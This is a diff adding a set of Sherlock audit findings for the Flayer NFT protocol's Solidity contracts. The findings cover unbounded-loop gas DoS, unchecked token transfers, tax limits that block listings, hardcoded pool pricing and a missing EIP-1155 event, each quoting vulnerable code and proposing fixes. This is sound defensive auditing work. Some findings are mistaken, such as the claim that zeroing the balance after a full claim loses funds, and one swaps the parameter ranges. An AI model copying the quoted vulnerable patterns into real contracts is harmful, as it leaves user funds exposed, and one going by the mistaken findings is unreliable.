+## Vulnerability Detail
+The root cause of the vulnerability lies in the unbounded loop within the `createListings` function, which processes each listing in the `_createListings` array. Each iteration involves multiple gas-intensive operations, including validation, mapping, NFT transfers, and event emissions. The absence of a limit on the number of listings processed in a single transaction exacerbates the issue.
+```solidity
+117: function createListings(CreateListing[] calldata _createListings) public nonReentrant lockerNotPaused {
+---
+119: uint checkpointIndex;
+120: bytes32 checkpointKey;
+121: uint tokensIdsLength;
+122: uint tokensReceived;
+123:
+---
+125:@=> for (uint i; i < _createListings.length; ++i) {
+---
+127:@=> CreateListing calldata listing = _createListings[i];
+128:
+---
+130:@=> _validateCreateListing(listing);
+131:
+---
+134: checkpointKey = keccak256(abi.encodePacked('checkpointIndex', listing.collection));
+135: assembly { checkpointIndex := tload(checkpointKey) }
+136: if (checkpointIndex == 0) {
+137: checkpointIndex = _createCheckpoint(listing.collection);
+138: assembly { tstore(checkpointKey, checkpointIndex) }
+139: }
+140:
+---
+142: tokensIdsLength = listing.tokenIds.length;
+143: tokensReceived = _mapListings(listing, tokensIdsLength, checkpointIndex) * 10 ** locker.collectionToken(listing.collection).denomination();
+144:
+---
+146: unchecked {
+147: listingCount[listing.collection] += tokensIdsLength;
+148: }
+---
+149:
+---
+151: _depositNftsAndReceiveTokens(listing, tokensReceived);
+152:
+---
+154: emit ListingsCreated(listing.collection, listing.tokenIds, listing.listing, tokensReceived, msg.sender);
+155: }
+---
+156: }
+```
+
+## Impact
+- Users will not be able to create listings if their transaction fails due to exceeding the gas limit.
+- Users who attempt to create multiple listings in a single transaction may be subject to significant gas fees for transactions that ultimately fail.
+
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L117-L156
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+Implement a limit on the number of listings that can be processed in a single transaction. This can be achieved by introducing a maximum batch size and enforcing it within the `createListings` function.
+```diff
++ uint constant MAX_LISTINGS_PER_TRANSACTION = 10; // Set reasonable limits
+
+function createListings(CreateListing[] calldata _createListings) public nonReentrant lockerNotPaused {
+
++ require(_createListings.length <= MAX_LISTINGS_PER_TRANSACTION, "Too many listings in a single transaction");
+
+ uint checkpointIndex;
+
+ bytes32 checkpointKey;
+
+ uint tokensIdsLength;
+
+ uint tokensReceived;
+
+ for (uint i; i < _createListings.length; ++i) {
+
+ CreateListing calldata listing = _createListings[i];
+
+ _validateCreateListing(listing);
+
+ checkpointKey = keccak256(abi.encodePacked('checkpointIndex', listing.collection));
+
+ assembly { checkpointIndex := tload(checkpointKey) }
+
+ if (checkpointIndex == 0) {
+
+ checkpointIndex = _createCheckpoint(listing.collection);
+
+ assembly { tstore(checkpointKey, checkpointIndex) }
+
+ }
+
+ tokensIdsLength = listing.tokenIds.length;
+
+ tokensReceived = _mapListings(listing, tokensIdsLength, checkpointIndex) * 10 ** locker.collectionToken(listing.collection).denomination();
+
+ unchecked {
+
+ listingCount[listing.collection] += tokensIdsLength;
+
+ }
+
+ _depositNftsAndReceiveTokens(listing, tokensReceived);
+
+ emit ListingsCreated(listing.collection, listing.tokenIds, listing.listing, tokensReceived, msg.sender);
+
+ }
+
+}
+```
\ No newline at end of file
diff --git a/024/619.md b/024/619.md
new file mode 100644
index 0000000..c2f7894
--- /dev/null
+++ b/024/619.md
@@ -0,0 +1,46 @@
+Tart Laurel Starling
+
+Medium
+
+# The createListings function may cause a DoS attack due to the lack of array length limit
+
+## Summary
+The `createListings` function may cause a DoS attack due to the lack of an array length limit, allowing attackers to exhaust the gas by passing an excessively large array.
+## Vulnerability Detail
+In the `createListings` function, an external caller can pass an unbounded array of `CreateListing[]` as input. Since there is no limit on the array length, a malicious actor could craft a transaction with a very large array, leading to an excessive gas consumption and eventually causing the transaction to fail. This could result in a DoS for legitimate users by preventing them from successfully creating listings.
+
+## Impact
+If exploited, the contract could be rendered unusable for creating listings. Attackers can effectively block the contract by passing large input arrays that would lead to transaction failures due to out-of-gas errors. This creates a denial of service for legitimate users, disrupting the functionality of the contract.
+
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L130-L137
+```solidity
+ function createListings(CreateListing[] calldata _createListings) public nonReentrant lockerNotPaused {
+ // Loop variables
+ uint taxRequired;
+ uint tokensIdsLength;
+ uint tokensReceived;
+
+ // Loop over the unique listing structures
+ for (uint i; i < _createListings.length; ++i) {
+```
+## Tool used
+
+Manual Review
+
+## Recommendation
+Set a maximum limit for the array length to ensure gas consumption remains manageable. Example:
+```solidity
+uint constant MAX_LISTINGS = ?;
+function createListings(CreateListing[] calldata _createListings) public nonReentrant lockerNotPaused {
+ require(_createListings.length <= MAX_LISTINGS, "Too many listings");
+
+ // Loop variables
+ uint taxRequired;
+ uint tokensIdsLength;
+ uint tokensReceived;
+
+ // Loop over the unique listing structures
+ for (uint i; i < _createListings.length; ++i) {
+ }
+```
\ No newline at end of file
diff --git a/024/703.md b/024/703.md
new file mode 100644
index 0000000..5ba5e9b
--- /dev/null
+++ b/024/703.md
@@ -0,0 +1,20 @@
+Blunt Daffodil Iguana
+
+Medium
+
+# Denial of Service (DoS) Vulnerability in `createListings` Function Due to Unbounded Loop
+
+## Summary
+The `createListings` function in the Listings contract processes an array of `CreateListing` structs. If the array is excessively large, the function can consume excessive gas, potentially leading to a Denial of Service (DoS) by preventing the transaction from completing successfully.
+## Vulnerability Detail
+The` createListings` function iterates over the `_createListings` array to process each listing. Since Solidity imposes a `block gas limit`, a large array can cause the transaction to exceed this limit, resulting in a failed transaction. This can be exploited to prevent the contract from processing legitimate listings, effectively causing a DoS.
+## Impact
+Denial of Service: Legitimate users may be unable to create listings if an attacker submits a transaction with an excessively large array, consuming all available gas.
+Potential Financial Loss: Users may incur transaction fees for failed transactions due to excessive gas consumption.
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L130C4-L167C1
+## Tool used
+Manual Review
+
+## Recommendation
+Batch Processing: Encourage users to submit listings in smaller batches. This can be achieved by setting a reasonable limit on the array size and providing guidance in the contract's documentation.
\ No newline at end of file
diff --git a/025.md b/025.md
new file mode 100644
index 0000000..572dbb5
--- /dev/null
+++ b/025.md
@@ -0,0 +1,60 @@
+Striped Steel Beaver
+
+Medium
+
+# Incorrect Handling of Sudoswap Pool Creation Will Cause Permanent Locking of NFTs for Token Holders
+
+### Summary
+
+The improper use of parameters in the _createSudoswapPool function will cause permanent locking of NFTs for token holders as the Sudoswap pool creation parameters are incorrectly set, resulting in NFTs being inaccessible.
+
+### Root Cause
+
+In CollectionShutdown.sol:478, the Sudoswap pool creation logic uses incorrect or arbitrary values for the delta and spotPrice parameters, which can cause NFTs to be locked or not sellable.
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L478C14-L478C33
+
+### Internal pre-conditions
+
+1. Admin calls execute() to initiate the liquidation process.
+2. The locker.withdrawToken() successfully transfers NFTs to the contract.
+3. The _createSudoswapPool() uses arbitrary delta and spotPrice values during pool creation.
+
+### External pre-conditions
+
+1. Sudoswap protocol must accept the incorrect pool parameters.
+2. The Sudoswap pool remains unsold due to improper pricing or timing.
+
+### Attack Path
+
+1. Admin initiates the execute() function with token IDs.
+2. NFTs are transferred to the contract and the _createSudoswapPool() is called.
+3. The pool is created using arbitrary values for spotPrice (500 Ether) and delta, making the NFTs inaccessible or unsellable.
+4. Users are unable to claim their proceeds as the NFTs remain unsold in the Sudoswap pool.
+
+### Impact
+
+The token holders suffer a permanent loss of NFTs as they become locked in an unsellable pool. The protocol may not recover the ETH from liquidation, and the user gains nothing.
+
+### PoC
+
+```solidity
+function _createSudoswapPool(IERC721 _collection, uint[] calldata _tokenIds) internal returns (address) {
+ return address(
+ pairFactory.createPairERC721ETH({
+ _nft: _collection,
+ _bondingCurve: curve,
+ _assetRecipient: payable(address(this)),
+ _poolType: ILSSVMPair.PoolType.NFT,
+ _delta: uint128(block.timestamp) << 96 | uint128(block.timestamp + 7 days) << 64,
+ _fee: 0,
+ _spotPrice: 500 ether, // Arbitrary value, may not reflect true market price
+ _propertyChecker: address(0),
+ _initialNFTIDs: _tokenIds
+ })
+ );
+}
+```
+
+### Mitigation
+
+Ensure that the spotPrice and delta values are dynamically set based on current market conditions and pricing logic, such as using an oracle for pricing. Replace the hardcoded values with more realistic and market-driven values
\ No newline at end of file
diff --git a/025/084.md b/025/084.md
new file mode 100644
index 0000000..53e8a24
--- /dev/null
+++ b/025/084.md
@@ -0,0 +1,58 @@
+Small Azure Poodle
+
+High
+
+# Unchecked ERC20 Transfer Result in `claim` Function Leading to Potential Loss of Funds
+
+## Summary
+The `claim` function on `BaseImplementation` fails to check the return value of the `IERC20(nativeToken).transfer` function. This can lead to a scenario where the token transfer fails silently, but the recipient's balance is reset to zero, leading to potential loss of funds.
+
+## Vulnerability Detail
+The root cause of this vulnerability lies in the absence of a check on the success of the token transfer operation. The `IERC20.transfer` function is called without verifying its return value, which is crucial for ensuring that the transfer was successful.
+```solidity
+164: function claim(address _beneficiary) public nonReentrant {
+---
+167: uint amount = beneficiaryFees[_beneficiary];
+168: if (amount == 0) return;
+169:
+---
+171: if (beneficiaryIsPool) revert BeneficiaryPoolCannotClaim();
+172:
+---
+175: beneficiaryFees[_beneficiary] = 0;
+176:
+---
+178:@=> IERC20(nativeToken).transfer(_beneficiary, amount);
+179: emit BeneficiaryFeesClaimed(_beneficiary, amount);
+180: }
+```
+
+## Impact
+If the transfer fails for any reason, the recipient's balance is still set to zero, effectively resulting in the loss of the funds that were supposed to be transferred.
+
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/implementation/BaseImplementation.sol#L164-L180
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+Implement a check on the transfer's return value.
+```diff
+function claim(address _beneficiary) public nonReentrant {
+ uint amount = beneficiaryFees[_beneficiary];
+ if (amount == 0) return;
+
+ if (beneficiaryIsPool) revert BeneficiaryPoolCannotClaim();
+
+ beneficiaryFees[_beneficiary] = 0;
+
+ // Claim ETH equivalent available to the beneficiary
++ bool success = IERC20(nativeToken).transfer(_beneficiary, amount);
++ require(success, "Transfer failed");
+
+- IERC20(nativeToken).transfer(_beneficiary, amount);
+ emit BeneficiaryFeesClaimed(_beneficiary, amount);
+}
+```
\ No newline at end of file
diff --git a/025/543.md b/025/543.md
new file mode 100644
index 0000000..47ffe0c
--- /dev/null
+++ b/025/543.md
@@ -0,0 +1,49 @@
+Spare Infrared Gerbil
+
+High
+
+# `BaseImplementation::claim(...)` can revert causing beneficiary fees to be stuck
+
+### Summary
+
+The `claim(...)` function uses `transfer(...)` to send ETH to `beneficiary` and this can prevent the `beneficiary` from receiving it due fees
+
+### Root Cause
+
+The [`claim()`](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/implementation/BaseImplementation.sol#L178) uses the solidity `transfer(...)` function to send ETH to `beneficiary` this can cause the function to revert if the `beneficiary` is a multisig wallet or a contract that has additional logic in its `receive(...)` function
+
+```solidity
+File: BaseImplementation.sol
+164: function claim(address _beneficiary) public nonReentrant {
+SNIP ............
+176:
+177: // Claim ETH equivalent available to the beneficiary
+178: @> IERC20(nativeToken).transfer(_beneficiary, amount);
+179: emit BeneficiaryFeesClaimed(_beneficiary, amount);
+180: }
+
+```
+
+### Internal pre-conditions
+
+_No response_
+
+### External pre-conditions
+
+_No response_
+
+### Attack Path
+
+_No response_
+
+### Impact
+
+This can lead to loss of funds for the beneficiary as the beneficiary's fees will be stuck in the contract
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Consider using `call(...)` instead of `transfer(...)` to send ETH
\ No newline at end of file
diff --git a/025/702.md b/025/702.md
new file mode 100644
index 0000000..71a0ea8
--- /dev/null
+++ b/025/702.md
@@ -0,0 +1,94 @@
+Winning Emerald Orca
+
+High
+
+# Balance Reset in Beneficiary Fee Claim Function Leads to Potential Fund Loss
+
+## Summary
+
+A critical vulnerability has been identified in the claim function of the `BaseImplementation` contract. When a beneficiary claims their fees, the entire balance is set to zero instead of subtracting the claimed amount, potentially leading to loss of funds for beneficiaries. This issue is particularly concerning given the contract's role in fee distribution within the Flayer protocol.
+
+## Relevant Links
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/implementation/BaseImplementation.sol#L164-L180
+
+
+## Vulnerability Detail
+
+In the claim function of BaseImplementation.sol, after checking the available amount for a beneficiary, the code sets the entire balance to zero:
+
+```solidity
+ beneficiaryFees[_beneficiary] = 0;
+
+```
+
+This occurs before the transfer of funds, effectively resetting the balance regardless of the amount transferred. The function is designed to allow beneficiaries to claim their accumulated fees, but this implementation flaw could result in unintended loss of funds.
+
+
+## Impact
+
+This vulnerability can lead to significant financial losses for beneficiaries within the Flayer ecosystem. If a beneficiary has accumulated fees over time and only claims a portion, they will lose access to the remaining unclaimed balance. This could result in:
+
+1. Direct financial losses for beneficiaries
+2. Disruption of the fee distribution mechanism in the Flayer protocol
+3. Loss of trust in the protocol, potentially affecting user adoption and overall protocol health
+4. Given that Flayer is designed to operate on the Base network, as mentioned in the README.md, this issue could have wide-reaching implications for the protocol's operations on that chain.
+
+
+**Code Snippet**
+```solidity
+ function claim(address _beneficiary) public nonReentrant {
+ // Ensure that the beneficiary has an amount available to claim. We don't revert
+ // at this point as it could open an external protocol to DoS.
+ uint amount = beneficiaryFees[_beneficiary];
+ if (amount == 0) return;
+
+ // We cannot make a direct claim if the beneficiary is a pool
+ if (beneficiaryIsPool) revert BeneficiaryPoolCannotClaim();
+
+ // Reduce the amount of fees allocated to the `beneficiary` for the token. This
+ // helps to prevent reentrancy attacks.
+ beneficiaryFees[_beneficiary] = 0; //@audit this is meant to reduce the amount but it sets it as 0. user loses remaining balance
+
+ // Claim ETH equivalent available to the beneficiary
+ IERC20(nativeToken).transfer(_beneficiary, amount);
+ emit BeneficiaryFeesClaimed(_beneficiary, amount);
+}
+```
+
+## Tool used
+Manual Review
+
+## Recommendation
+
+Modify the claim function to only subtract the claimed amount from the beneficiary's balance:
+
+```solidity
+ function claim(address _beneficiary) public nonReentrant {
+ uint amount = beneficiaryFees[_beneficiary];
+ if (amount == 0) return;
+
+ if (beneficiaryIsPool) revert BeneficiaryPoolCannotClaim();
+
+ beneficiaryFees[_beneficiary] -= amount;
+
+ IERC20(nativeToken).transfer(_beneficiary, amount);
+ emit BeneficiaryFeesClaimed(_beneficiary, amount);
+}
+```
+
+
+Additionally, consider implementing a partial claim feature to allow beneficiaries to claim only a portion of their accumulated fees:
+
+```solidity
+ function partialClaim(address _beneficiary, uint _amount) public nonReentrant {
+ uint availableAmount = beneficiaryFees[_beneficiary];
+ require(_amount <= availableAmount, "Insufficient funds");
+
+ if (beneficiaryIsPool) revert BeneficiaryPoolCannotClaim();
+
+ beneficiaryFees[_beneficiary] -= _amount;
+
+ IERC20(nativeToken).transfer(_beneficiary, _amount);
+ emit BeneficiaryFeesClaimed(_beneficiary, _amount);
+}
+```
\ No newline at end of file
diff --git a/026/169.md b/026/169.md
new file mode 100644
index 0000000..c4e4918
--- /dev/null
+++ b/026/169.md
@@ -0,0 +1,90 @@
+Stable Chili Ferret
+
+Medium
+
+# The `Listings.sol#createListings()` function fails to create some Listings.
+
+### Summary
+
+Some Listings that follow the protocol cannot be created due to the implementation of constraints in the `Listings.sol#createListings()` function.
+
+
+### Root Cause
+
+In the `Listings.sol#createListings()` function, `taxRequired` is set to 1 ether.
+
+
+### Internal pre-conditions
+
+_No response_
+
+### External pre-conditions
+
+_No response_
+
+### Attack Path
+
+In the 'Listings.sol#Createlistings ()' function, 'taxrequed' is limited to less than 1 Ether, and some Listing cannot be created.
+
+
+### Impact
+
+Mismatch with the implementation of the protocol
+
+### PoC
+
+In Protocol, 'duration' and 'floorMultiple' were defined as follows.
+```solidity
+ /// Define our minimum floor multiple
+ uint internal constant MIN_FLOOR_MULTIPLE = 100;
+
+ uint16 public constant MAX_FLOOR_MULTIPLE = 10_00;
+
+ /// Minimum and maximum liquid listing durations
+ uint32 public constant MIN_LIQUID_DURATION = 7 days;
+ uint32 public constant MAX_LIQUID_DURATION = 180 days;
+
+ /// Minimum and maximum dutch listing durations
+ uint32 public constant MIN_DUTCH_DURATION = 1 days;
+ uint32 public constant MAX_DUTCH_DURATION = 7 days - 1;
+
+ /// The dutch duration for an expired liquid listing
+ uint32 public constant LIQUID_DUTCH_DURATION = 4 days;
+```
+
+As you can see, the range of 'duration' is '100 ~ 1000' and 'floorMultiple' is '1 days ~ 180 days'.
+
+However, in the ['Listings.sol#createListings()'](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L149-L150) function, Listing is limited only if 'taxRequed' is 1 ether.
+
+`taxRequed` is calculated as follows:
+```solidity
+ function getListingTaxRequired(Listing memory _listing, address _collection) public view returns (uint taxRequired_) {
+ // Send our listing information to our {TaxCalculator} to calculate
+ taxRequired_ = locker.taxCalculator().calculateTax(_collection, _listing.floorMultiple, _listing.duration);
+
+ // Add our token denomination to support meme tokens
+ taxRequired_ *= 10 ** locker.collectionToken(_collection).denomination();
+ }
+```
+
+```solidity
+ function calculateTax(address _collection, uint _floorMultiple, uint _duration) public pure returns (uint taxRequired_) {
+ // If we have a high floor multiplier, then we want to soften the increase
+ // after a set amount to promote grail listings.
+ if (_floorMultiple > FLOOR_MULTIPLE_KINK) {
+ _floorMultiple = FLOOR_MULTIPLE_KINK + ((_floorMultiple - FLOOR_MULTIPLE_KINK) / 2);
+ }
+
+ // Calculate the tax required per second
+ taxRequired_ = (_floorMultiple ** 2 * 1e12 * _duration) / 7 days;
+ }
+```
+
+According to the Code provided in the right, 'Taxrequed' can exceed 1 Ether.
+
+As a result, this is violating the specification of the protocol.
+
+
+### Mitigation
+
+Consider allowing all listing to be created.
\ No newline at end of file
diff --git a/026/278.md b/026/278.md
new file mode 100644
index 0000000..ac92279
--- /dev/null
+++ b/026/278.md
@@ -0,0 +1,113 @@
+Clean Snowy Mustang
+
+Medium
+
+# Listings cannot be created even if both floorMultiple and duration are in range
+
+## Summary
+Listings cannot be created even if both floorMultiple and duration are in range.
+
+## Vulnerability Detail
+When a user creates listings, protocol will check if `listing.floorMultiple` and `listing.duration` are in range.
+
+[Listings.sol#L275-L276](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L275-L276):
+```solidity
+ if (listing.floorMultiple <= MIN_FLOOR_MULTIPLE) revert FloorMultipleMustBeAbove100(listing.floorMultiple);
+ if (listing.floorMultiple > MAX_FLOOR_MULTIPLE) revert FloorMultipleExceedsMax(listing.floorMultiple, MAX_FLOOR_MULTIPLE);
+```
+
+[Listings.sol#L279-L292](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L279-L292):
+```solidity
+ Enums.ListingType listingType = getListingType(_listing.listing);
+ if (listingType == Enums.ListingType.DUTCH) {
+ // Ensure that the requested duration falls within our listing range
+ if (listing.duration < MIN_DUTCH_DURATION) revert ListingDurationBelowMin(listing.duration, MIN_DUTCH_DURATION);
+ if (listing.duration > MAX_DUTCH_DURATION) revert ListingDurationExceedsMax(listing.duration, MAX_DUTCH_DURATION);
+
+ } else if (listingType == Enums.ListingType.LIQUID) {
+ // Ensure that the requested duration falls within our listing range
+ if (listing.duration < MIN_LIQUID_DURATION) revert ListingDurationBelowMin(listing.duration, MIN_LIQUID_DURATION);
+ if (listing.duration > MAX_LIQUID_DURATION) revert ListingDurationExceedsMax(listing.duration, MAX_LIQUID_DURATION);
+
+ } else {
+ revert InvalidListingType();
+ }
+```
+
+The limitations are as below:
+> MIN_FLOOR_MULTIPLE: 100
+> MAX_FLOOR_MULTIPLE: 10_00
+> MIN_LIQUID_DURATION: 7 days
+> MAX_LIQUID_DURATION: 180 days
+> MIN_DUTCH_DURATION: 1 days
+> MAX_DUTCH_DURATION: 7 days - 1
+
+Therefore, it is expected that user can create a listing with both `floorMulitple` and `duration` are in range, for example, `floorMulitple` is 5_00 and `duration` is 60 days.
+
+However, it is not always the case. In addition to receive one collection token per ERC721 item they deposited, user need to prepay tax for the listing. The tax is calculated as below:
+
+[TaxCalculator.sol#L35-L44](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/TaxCalculator.sol#L35-L44):
+```solidity
+ function calculateTax(address _collection, uint _floorMultiple, uint _duration) public pure returns (uint taxRequired_) {
+ // If we have a high floor multiplier, then we want to soften the increase
+ // after a set amount to promote grail listings.
+ if (_floorMultiple > FLOOR_MULTIPLE_KINK) {
+ _floorMultiple = FLOOR_MULTIPLE_KINK + ((_floorMultiple - FLOOR_MULTIPLE_KINK) / 2);
+ }
+
+ // Calculate the tax required per second
+ taxRequired_ = (_floorMultiple ** 2 * 1e12 * _duration) / 7 days;
+ }
+```
+
+To listing one ERC721 item for 60 days with 5x floor multiplier, the tax required is $(200 + (500 - 200) / 2) ** 2 * 1e12 * 60 days / 7 days = 1.05 ether$, then when calculating the actual token user can receive, the transaction will revert due to that the required tax is larger than token user can initially receive:
+
+[Listings.sol#L150)](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L150):
+```solidity
+ if (taxRequired > tokensReceived) revert InsufficientTax(tokensReceived, taxRequired);
+```
+
+Please run the PoC in Listings.t.sol:
+```solidity
+ function testAudit_CannotCreateListingsEvenIfInRange() public {
+ address alice = makeAddr("Alice");
+
+ uint256 tokenId = 123;
+ erc721a.mint(alice, tokenId);
+
+ Listings.Listing memory listing = IListings.Listing({
+ owner: payable(alice),
+ created: uint40(block.timestamp),
+ duration: 60 days,
+ floorMultiple: 5_00
+ });
+
+ vm.startPrank(alice);
+ erc721a.approve(address(listings), tokenId);
+ IListings.CreateListing[] memory createListings = new IListings.CreateListing[](1);
+ createListings[0] = IListings.CreateListing({
+ collection: address(erc721a),
+ tokenIds: _tokenIdToArray(tokenId),
+ listing: listing
+ });
+ vm.expectRevert(abi.encodeWithSelector(IListings.InsufficientTax.selector, 1000000000000000000, 1050000000000000000));
+ listings.createListings(createListings);
+ vm.stopPrank();
+ }
+```
+
+## Impact
+
+Listings cannot be created with reasonable arguments.
+
+## Code Snippet
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/TaxCalculator.sol#L43
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+
+Refactor tax calculation formula or limit maximum tax within 1 ether.
\ No newline at end of file
diff --git a/026/694.md b/026/694.md
new file mode 100644
index 0000000..fa37eda
--- /dev/null
+++ b/026/694.md
@@ -0,0 +1,58 @@
+Obedient Flaxen Peacock
+
+Medium
+
+# Range of values for `duration` and `floorMultiple` will not work when creating listings
+
+### Summary
+
+The [valid range of values](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L275-L288) is 100 to 1000 for `floorMultiple` and 1 day to 180 days for `duration`. However, a range of valid values is impossible to use when creating a listing such as:
+1. floor multiple of 1000 and duration of ~4 days or longer. The tax required with these parameters would be `1.12e18`.
+2. max liquid duration (180 days) & 200 floor multiple. The tax required with these parameters would be `1.028e18`.
+
+In both cases above, the [`taxRequired`](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/TaxCalculator.sol#L35-L44) would be higher than the `tokensReceived` of 1 ether per tokenId and will [revert](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L146-L151).
+
+```solidity
+// @audit the tokens received would be 1 ether for every token
+tokensReceived = _mapListings(listing, tokensIdsLength) * 10 ** locker.collectionToken(listing.collection).denomination();
+
+// Get the amount of tax required for the newly created listing
+taxRequired = getListingTaxRequired(listing.listing, listing.collection) * tokensIdsLength;
+
+if (taxRequired > tokensReceived) revert InsufficientTax(tokensReceived, taxRequired);
+unchecked { tokensReceived -= taxRequired; }
+```
+
+### Root Cause
+
+The choice to [revert](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L150) when the `taxRequired > tokensReceived` is a mistake as it will cause many valid listings to not be created.
+
+```solidity
+if (taxRequired > tokensReceived) revert InsufficientTax(tokensReceived, taxRequired);
+```
+
+Either that or adjust the tax calculation so that it is possible to create listings for longer durations at higher floor multiples.
+
+### Internal pre-conditions
+
+None
+
+### External pre-conditions
+
+None
+
+### Attack Path
+
+1. Anyone calls `Listings::createListings()` with duration of 14 days and floor multiple of 1000. They want to price their NFT at 10x floor price and a liquid listing since they do not want their listing to immediately go on Dutch auction.
+
+### Impact
+
+Users can not create a liquid listing to sell their rare NFTs at 10x floor price. Note that rares in some collections can have prices of 10-30x of floor items.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Consider adjusting the [tax calculation](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/TaxCalculator.sol#L35-L44) to allow for listings at higher floor multiples and longer durations. Also, consider allowing users to pay for the `taxRequired` in excess of the `tokensReceived`.
\ No newline at end of file
diff --git a/027/202.md b/027/202.md
new file mode 100644
index 0000000..4c5e56b
--- /dev/null
+++ b/027/202.md
@@ -0,0 +1,76 @@
+Raspy Raspberry Tapir
+
+Medium
+
+# `ERC1155Bridgable` is not EIP-1155 compliant
+
+### Summary
+
+According to the [README](https://github.com/sherlock-audit/2024-08-flayer/blob/main/README.md#moongate-4):
+> The Bridged1155 should be strictly compliant with EIP-1155 and EIP-2981
+
+[EIP-1155](https://eips.ethereum.org/EIPS/eip-1155) states the following about `ERC1155Metadata_URI` extension:
+
+> The optional `ERC1155Metadata_URI` extension can be identified with the [ERC-165 Standard Interface Detection](https://eips.ethereum.org/EIPS/eip-165).
+>
+> If the optional `ERC1155Metadata_URI` extension is included:
+>
+> - The ERC-165 `supportsInterface` function MUST return the constant value `true` if `0x0e89341c` is passed through the `interfaceID` argument.
+> - Changes to the URI MUST emit the `URI` event if the change can be expressed with an event (i.e. it isn’t dynamic/programmatic).
+
+But we see that:
+- `ERC1155Bridgable` _does support_ the extension, and returns the required constant via [supportsInterface](https://github.com/sherlock-audit/2024-08-flayer/blob/main/moongate/src/libs/ERC1155Bridgable.sol#L140-L145)
+- It _does not emit_ the `URI` event as required, when it's changed via function [setTokenURIAndMintFromRiftAbove](https://github.com/sherlock-audit/2024-08-flayer/blob/main/moongate/src/libs/ERC1155Bridgable.sol#L92-L102):
+
+```solidity
+function setTokenURIAndMintFromRiftAbove(uint _id, uint _amount, string memory _uri, address _recipient) external {
+ if (msg.sender != INFERNAL_RIFT_BELOW) {
+ revert NotRiftBelow();
+ }
+
+ // Set our tokenURI
+ uriForToken[_id] = _uri;
+
+ // Mint the token to the specified recipient
+ _mint(_recipient, _id, _amount, '');
+}
+```
+
+Notice that when bridging the ERC-1155 tokens, URIs are retrieved from the corresponding token contract by `InternalRiftAbove`, and encoded into the package [as follows](https://github.com/sherlock-audit/2024-08-flayer/blob/main/moongate/src/InfernalRiftAbove.sol#L158-L181):
+
+```solidity
+// Go through each NFT, set its URI and escrow it
+uris = new string[](numIds);
+for (uint j; j < numIds; ++j) {
+ // Ensure we have a valid amount passed (TODO: Is this needed?)
+ tokenAmount = params.amountsToCross[i][j];
+ if (tokenAmount == 0) {
+ revert InvalidERC1155Amount();
+ }
+
+ uris[j] = erc1155.uri(params.idsToCross[i][j]);
+ erc1155.safeTransferFrom(msg.sender, address(this), params.idsToCross[i][j], params.amountsToCross[i][j], '');
+}
+
+// Set up payload
+package[i] = Package({
+ chainId: block.chainid,
+ collectionAddress: collectionAddress,
+ ids: params.idsToCross[i],
+ amounts: params.amountsToCross[i],
+ uris: uris,
+ royaltyBps: _getCollectionRoyalty(collectionAddress, params.idsToCross[i][0]),
+ name: '',
+ symbol: ''
+});
+```
+
+I.e. the information is properly retrieved, transferred, and is available; but the `URI` event is not emitted as required; this breaks the specification.
+
+### Impact
+
+Protocols integrating with `ERC1155Bridgable` may work incorrectly.
+
+### Mitigation
+
+Compare the URI supplied for an NFT in function `setTokenURIAndMintFromRiftAbove`, and if it has changed -- emit the `URI` event as required per the specification.
\ No newline at end of file
diff --git a/027/304.md b/027/304.md
new file mode 100644
index 0000000..a7df5ff
--- /dev/null
+++ b/027/304.md
@@ -0,0 +1,54 @@
+Careful Raisin Pheasant
+
+Medium
+
+# Missing URI Event Emission in ERC1155Bridgable Contract makes it non-compliant with EIP-1155
+
+### Summary
+The README states the following
+>The Bridged1155 should be strictly compliant with EIP-1155
+
+The ERC1155Bridgable contract fails to emit the URI event when setting or updating token URIs, violating the ERC-1155 standard requirements.
+
+[EIP-1155](https://eips.ethereum.org/EIPS/eip-1155) clearly states the following about the URI event
+
+```solidity
+ /**
+ @dev MUST emit when the URI is updated for a token ID.
+ URIs are defined in RFC 3986.
+ The URI MUST point to a JSON file that conforms to the "ERC-1155 Metadata URI JSON Schema".
+ */
+ event URI(string _value, uint256 indexed _id);
+```
+
+### Root Cause
+
+The `setTokenURIAndMintFromRiftAbove` function updates the `uriForToken` mapping but does not emit the required URI event.
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/moongate/src/libs/ERC1155Bridgable.sol#L92
+
+### Internal pre-conditions
+
+_No response_
+
+### External pre-conditions
+
+_No response_
+
+### Attack Path
+
+_No response_
+
+### Impact
+
+Non-compliance with ERC-1155 standard
+Potential issues with third-party integrations relying on URI update events
+Reduced transparency for token metadata changes
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Modify the setTokenURIAndMintFromRiftAbove function to emit the URI event after updating the token URI
\ No newline at end of file
diff --git a/027/664.md b/027/664.md
new file mode 100644
index 0000000..1891d51
--- /dev/null
+++ b/027/664.md
@@ -0,0 +1,60 @@
